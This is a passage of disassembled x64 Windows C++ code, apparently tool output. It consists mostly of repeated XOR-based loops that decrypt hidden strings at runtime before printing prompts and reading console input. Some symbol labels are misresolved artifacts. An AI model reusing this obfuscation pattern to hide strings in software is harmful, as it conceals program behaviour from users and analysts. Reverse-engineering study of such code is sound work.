pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140048660
cmp r8d, 0x17
jge 0x1400487af
movsxd rax, r8d
lea r9, [rbp + 0xdc0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140048780
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x790]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x11c], 0xff
mov dword [rbp + 0x124], 0xff
mov qword [rbp + 0x20c], 0
mov dword [rbp + 0x214], 0xff
movsd xmm0, qword [0x140201110]
movsd qword [rbp + 0xcf8], xmm0
mov eax, dword [0x140201118]
mov dword [rbp + 0xd00], eax
cmp byte [0x14020111b], 0
je 0x14004897f
mov r8d, r15d
cmp r12d, 2
jl 0x140048942
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201110]
pxor xmm2, xmm1
movd dword [rbp + 0xcf8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcfc]
pxor xmm2, xmm1
movd dword [rbp + 0xcfc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xcf8]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140048950
lea rdx, [rbp + 0xcf8]
lea rcx, [rbp + 0x1848]
call fcn.140007470
nop
lea r9, [rbp + 0x11c]
lea r8, [rbp + 0x20c]
mov rdx, rax
lea rcx, [rbp + 0x1828]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1828]
call fcn.140003990
nop
lea rcx, [rbp + 0x1848]
call fcn.140003990
lea rdx, [0x140466238]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
movzx eax, word [0x14020111c]
mov word [rbp - 0x58], ax
cmp byte [0x14020111d], 0
je 0x140048a05
mov byte [rbp - 0x58], 0xa
xor byte [rbp - 0x57], 0x31
lea rdx, [rbp - 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
lea rax, [rbp + 0x970]
mov qword [rbp + 0xb90], rax
lea rdx, [0x140466238]
lea rcx, [rbp + 0x970]
call fcn.1400073a0
mov rbx, rax
lea rdx, [0x140466218]
lea rcx, [rbp + 0x990]
call fcn.1400073a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x14060b6d0]
call fcn.1400af400
movzx eax, byte [0x14060b8e0]
mov byte [rbp - 0x50], al
mov byte [rbp - 0x48], 1
mov al, 1
mov edx, r15d
mov rcx, r15
test al, al
je 0x140048a85
movzx eax, byte [rbp + rcx - 0x50]
cmp byte [rbp + rcx - 0x48], al
sete al
inc edx
inc rcx
cmp edx, 1
jb 0x140048a75
mov byte [rsp + 0x44], al
mov byte [rbp - 0x40], 1
mov al, 1
mov edx, r15d
mov rcx, r15
nop
test al, al
je 0x140048ab0
movzx eax, byte [rbp + rcx - 0x40]
cmp byte [rsp + rcx + 0x44], al
sete al
inc edx
inc rcx
cmp edx, 1
jb 0x140048aa0
test al, al
je 0x140051272
mov eax, dword [str.ZR_5]
mov dword [rbp + 0xbc8], eax
movzx eax, word [0x1402011ec]
mov word [rbp + 0xbcc], ax
mov byte [rbp + 0xbc8], WSAGetLastError
xor byte [rbp + 0xbc9], 0x31
xor byte [rbp + 0xbca], 0x32
xor byte [rbp + 0xbcb], 0x33
xor al, 0x34
mov byte [rbp + 0xbcc], al
xor byte [rbp + 0xbcd], 0x35
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x18c8]
call fcn.140007470
nop
or r14d, 4
mov dword [rsp + 0x30], r14d
mov rdx, rax
lea rcx, [rbp + 0x1338]
call fcn.140004d60
test al, al
jne 0x140049fa0
mov eax, dword [str.zR_5]
mov dword [rbp + 0xbd8], eax
movzx eax, word [0x1402011f4]
mov word [rbp + 0xbdc], ax
mov byte [rbp + 0xbd8], Ordinal_79
xor byte [rbp + 0xbd9], 0x31
xor byte [rbp + 0xbda], 0x32
xor byte [rbp + 0xbdb], 0x33
xor al, 0x34
mov byte [rbp + 0xbdc], al
xor byte [rbp + 0xbdd], 0x35
lea rdx, [rbp + 0xbd8]
lea rcx, [rbp + 0x18a8]
call fcn.140007470
or r14d, 8
mov rdx, rax
lea rcx, [rbp + 0x1338]
call fcn.140004d60
test al, al
jne 0x140049fa0
xor bl, bl
jmp 0x140049fa2
call fcn.1400377d0
movups xmm0, xmmword [0x140201198]
movups xmmword [rbp + 0x11c0], xmm0
mov eax, dword [0x1402011a8]
mov dword [rbp + 0x11d0], eax
movzx eax, word [0x1402011ac]
mov word [rbp + 0x11d4], ax
movzx eax, byte [0x1402011ae]
mov byte [rbp + 0x11d6], al
mov r8d, r15d
cmp r12d, 2
jl 0x140048d47
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x11c4]
mov edx, dword [rbp + 0xb80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140048c40
cmp r8d, 0x17
jge 0x140048d8f
movsxd rax, r8d
lea r9, [rbp + 0x11c0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140048d60
lea rdx, [rbp + 0x11c0]
lea rcx, [rbp + 0x850]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x1a0], 0xff
mov dword [rbp + 0x1a8], 0xff
mov qword [rbp + 0x1ac], 0
mov dword [rbp + 0x1b4], 0xff
movsd xmm0, qword [str.eBWAZT_R]
movsd qword [rbp + 0xd08], xmm0
mov eax, dword [0x1402011b8]
mov dword [rbp + 0xd10], eax
cmp byte [0x1402011bb], 0
je 0x140048f5f
mov r8d, r15d
cmp r12d, 2
jl 0x140048f22
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.eBWAZT_R]
pxor xmm2, xmm1
movd dword [rbp + 0xd08], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0c]
pxor xmm2, xmm1
movd dword [rbp + 0xd0c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd08]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140048f30
lea rdx, [rbp + 0xd08]
lea rcx, [rbp + 0x1a68]
call fcn.140007470
nop
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x1ac]
mov rdx, rax
lea rcx, [rbp + 0x1a48]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1a48]
call fcn.140003990
nop
lea rcx, [rbp + 0x1a68]
call fcn.140003990
lea rdx, [0x140466218]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x1402011bc]
mov word [rsp + 0x48], ax
lea rdx, [rsp + 0x48]
cmp byte [0x1402011bd], 0
je 0x140048ff4
mov byte [rsp + 0x48], 0xa
xor byte [rsp + 0x49], 0x31
call fcn.140003780
mov eax, dword [0x1402011d0]
mov dword [rbp + 0xe60], eax
movzx eax, byte [0x1402011d4]
movups xmm0, xmmword [0x1402011c0]
mov byte [rbp + 0xe64], al
movups xmmword [rbp + 0xe50], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140049177
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0xe54]
mov edx, dword [rbp + 0xb80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140049070
cmp r8d, 0x15
jge 0x1400491bf
movsxd rax, r8d
lea r9, [rbp + 0xe50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140049190
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x710]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x1b8], 0xff
mov dword [rbp + 0x1c0], 0xff
mov qword [rbp + 0x1c4], 0
mov dword [rbp + 0x1cc], 0xff
movsd xmm0, qword [str.XQVZFS]
movsd qword [rbp + 0xc00], xmm0
movzx eax, word [0x1402011e0]
mov word [rbp + 0xc08], ax
movzx ecx, byte [0x1402011e2]
mov byte [rbp + 0xc00], Ordinal_79
xor byte [rbp + 0xc01], 0x31
xor byte [rbp + 0xc02], 0x32
xor byte [rbp + 0xc03], 0x33
xor byte [rbp + 0xc04], 0x34
xor byte [rbp + 0xc05], 0x35
xor byte [rbp + 0xc06], 0x36
xor byte [rbp + 0xc07], 0x37
xor al, 0x38
mov byte [rbp + 0xc08], al
xor byte [rbp + 0xc09], 0x39
xor cl, 0x3a
mov byte [rbp + 0xc0a], cl
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0x1a88]
call fcn.140007470
nop
lea r9, [rbp + 0x1b8]
lea r8, [rbp + 0x1c4]
mov rdx, rax
lea rcx, [rbp + 0x1988]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1988]
call fcn.140003990
nop
lea rcx, [rbp + 0x1a88]
call fcn.140003990
lea rdx, [0x140466238]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
movzx eax, word [0x1402011e4]
mov word [rbp - 0x60], ax
cmp byte [0x1402011e5], 0
je 0x140049306
mov byte [rbp - 0x60], 0xa
xor byte [rbp - 0x5f], 0x31
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
lea rax, [rbp + 0x890]
mov qword [rbp + 0xb90], rax
lea rdx, [0x140466258]
lea rcx, [rbp + 0x890]
call fcn.1400073a0
mov rbx, rax
lea rdx, [0x140466218]
lea rcx, [rbp + 0x8d0]
call fcn.1400073a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x14060b6d0]
call fcn.1400b4bc0
jmp 0x140048a5f
call fcn.1400377d0
movups xmm0, xmmword [0x140201120]
movups xmmword [rbp + 0x11a8], xmm0
mov eax, dword [0x140201130]
mov dword [rbp + 0x11b8], eax
movzx eax, word [0x140201134]
mov word [rbp + 0x11bc], ax
movzx eax, byte [0x140201136]
mov byte [rbp + 0x11be], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400494f7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x11ac]
mov edx, dword [rbp + 0xb80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400493f0
cmp r8d, 0x17
jge 0x14004953f
movsxd rax, r8d
lea r9, [rbp + 0x11a8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140049510
lea rdx, [rbp + 0x11a8]
lea rcx, [rbp + 0x8f0]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x1d0], 0xff
mov dword [rbp + 0x1d8], 0xff
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x1f0], 0xff
movsd xmm0, qword [0x140201138]
movsd qword [rbp + 0xd18], xmm0
mov eax, dword [0x140201140]
mov dword [rbp + 0xd20], eax
cmp byte [0x140201143], 0
je 0x14004970f
mov r8d, r15d
cmp r12d, 2
jl 0x1400496d2
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201138]
pxor xmm2, xmm1
movd dword [rbp + 0xd18], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd1c]
pxor xmm2, xmm1
movd dword [rbp + 0xd1c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd18]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400496e0
lea rdx, [rbp + 0xd18]
lea rcx, [rbp + 0x1ac8]
call fcn.140007470
nop
lea r9, [rbp + 0x1d0]
lea r8, [rbp + 0x1e8]
mov rdx, rax
lea rcx, [rbp + 0x1aa8]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1aa8]
call fcn.140003990
nop
lea rcx, [rbp + 0x1ac8]
call fcn.140003990
lea rdx, [0x140466218]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x140201144]
mov word [rsp + 0x4c], ax
lea rdx, [rsp + 0x4c]
cmp byte [0x140201145], 0
je 0x1400497a4
mov byte [rsp + 0x4c], 0xa
xor byte [rsp + 0x4d], 0x31
call fcn.140003780
mov eax, dword [0x140201158]
mov dword [rbp + 0xde8], eax
movzx eax, word [0x14020115c]
mov word [rbp + 0xdec], ax
movzx eax, byte [0x14020115e]
movups xmm0, xmmword [0x140201148]
mov byte [rbp + 0xdee], al
movups xmmword [rbp + 0xdd8], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140049937
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0xddc]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140049830
cmp r8d, 0x17
jge 0x14004997f
movsxd rax, r8d
lea r9, [rbp + 0xdd8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140049950
lea rdx, [rbp + 0xdd8]
lea rcx, [rbp + 0x730]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x1dc], 0xff
mov dword [rbp + 0x1e4], 0xff
mov qword [rbp + 0x164], 0
mov dword [rbp + 0x16c], 0xff
movsd xmm0, qword [str._PA_CZDS]
movsd qword [rbp + 0xb90], xmm0
mov eax, dword [0x140201168]
mov dword [rbp + 0xb98], eax
cmp byte [0x14020116b], 0
je 0x140049b4f
mov r8d, r15d
cmp r12d, 2
jl 0x140049b12
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movd xmm5, r13d
